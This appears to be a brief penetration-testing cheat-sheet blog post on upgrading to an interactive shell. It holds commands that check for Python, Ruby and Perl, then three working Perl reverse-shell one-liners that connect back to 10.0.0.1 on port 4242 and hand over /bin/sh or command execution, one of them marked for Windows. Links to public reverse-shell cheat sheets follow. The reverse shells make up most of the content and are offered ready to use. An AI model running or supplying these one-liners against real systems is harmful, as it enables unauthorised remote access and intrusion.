Interactive Shell Upgrade

R3zk0n ยท October 2, 2025

Contents

    =======================================================

    Check for Programming Languages

    which python
    which ruby
    
    which perl
    
    perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    
    
    NOTE: Windows only
    perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    

    Reverse Shell

    • https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

    =======================================================

    • https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method-2-using-socat
    • https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    • https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/

    Twitter, Facebook